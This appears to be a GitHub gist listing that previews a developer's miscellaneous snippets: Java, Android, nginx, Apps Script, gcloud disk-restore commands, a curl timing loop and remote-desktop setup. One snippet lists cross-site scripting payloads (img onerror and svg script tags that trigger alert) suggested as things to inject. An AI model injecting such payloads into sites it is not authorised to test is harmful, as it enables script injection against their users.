This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.IOException; | |
import java.net.HttpURLConnection; | |
import java.net.MalformedURLException; | |
import java.net.URL; | |
/** | |
* http://blog.tomtasche.at/2011/07/how-to-expand-shortened-url-in-java.html | |
* | |
* @author Thomas Taschauer | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- ... --> | |
<uses-permission android:name="android.permission.GET_ACCOUNTS" /> | |
<uses-permission android:name="android.permission.INTERNET" /> | |
<uses-permission android:name="android.permission.USE_CREDENTIALS" /> | |
<!-- ... --> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# copied from default config | |
user nginx; | |
worker_processes 1; | |
error_log /var/log/nginx/error.log warn; | |
pid /var/run/nginx.pid; | |
events { | |
worker_connections 1024; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function main() { | |
findSharedDocuments("tomtasche@gmail.com"); | |
} | |
function findSharedDocuments(email) { | |
var files = DriveApp.searchFiles('("' + email + '" in readers OR "' + email + '" in writers) AND NOT ("' + email + '" in owners)'); | |
var success = 0; | |
while (files.hasNext()) { | |
var file = files.next(); | |
try { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// more information here: http://blog.tomtasche.at/2012/10/use-built-in-feedback-mechanism-on.html | |
try { | |
int i = 3 / 0; | |
} catch (Exception e) { | |
ApplicationErrorReport report = new ApplicationErrorReport(); | |
report.packageName = report.processName = getApplication() | |
.getPackageName(); | |
report.time = System.currentTimeMillis(); | |
report.type = ApplicationErrorReport.TYPE_CRASH; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# stop instance | |
gcloud compute instances stop YOURINSTANCE --zone=YOURZONE | |
# remove boot disk from instance | |
gcloud compute instances detach-disk YOURINSTANCE --zone=YOURZONE --disk YOURDISK | |
# delete old boot disk | |
gcloud compute disks delete YOURDISK --zone=YOURZONE | |
# find last snapshot |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# install ubuntu-desktop | |
# follow https://cloud.google.com/architecture/chrome-desktop-remote-on-compute-engine | |
# put this in /etc/chrome-remote-desktop-session | |
export GNOME_SHELL_SESSION_MODE=ubuntu | |
export XDG_CURRENT_DESKTOP=ubuntu:GNOME | |
export XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg | |
exec env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
depending on your specific scenario you might want to try to inject one of those: | |
<img onerror="window.alert('hey')" src="bla"/> | |
<svg><script>alert(/hey/.source)</script></svg> | |
<img onerror="window.onerror=alert;throw 'hey'" src="bla"/> | |
<script>window.onerror=alert;throw "hey";</script> | |
inspiration: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# | |
# Copyright (C) 2010 The Android Open Source Project | |
# | |
# Licensed under the Apache License, Version 2.0 (the "License"); | |
# you may not use this file except in compliance with the License. | |
# You may obtain a copy of the License at | |
# | |
# http://www.apache.org/licenses/LICENSE-2.0 | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "time_total: %{time_total}\n" > curl_format.txt | |
dd if=/dev/urandom of=data.txt bs=100K count=1 | |
while true; do curl -X POST -w "@curl_format.txt" -d @data.txt -s https://requestb.in/1j4ph411; done; |
NewerOlder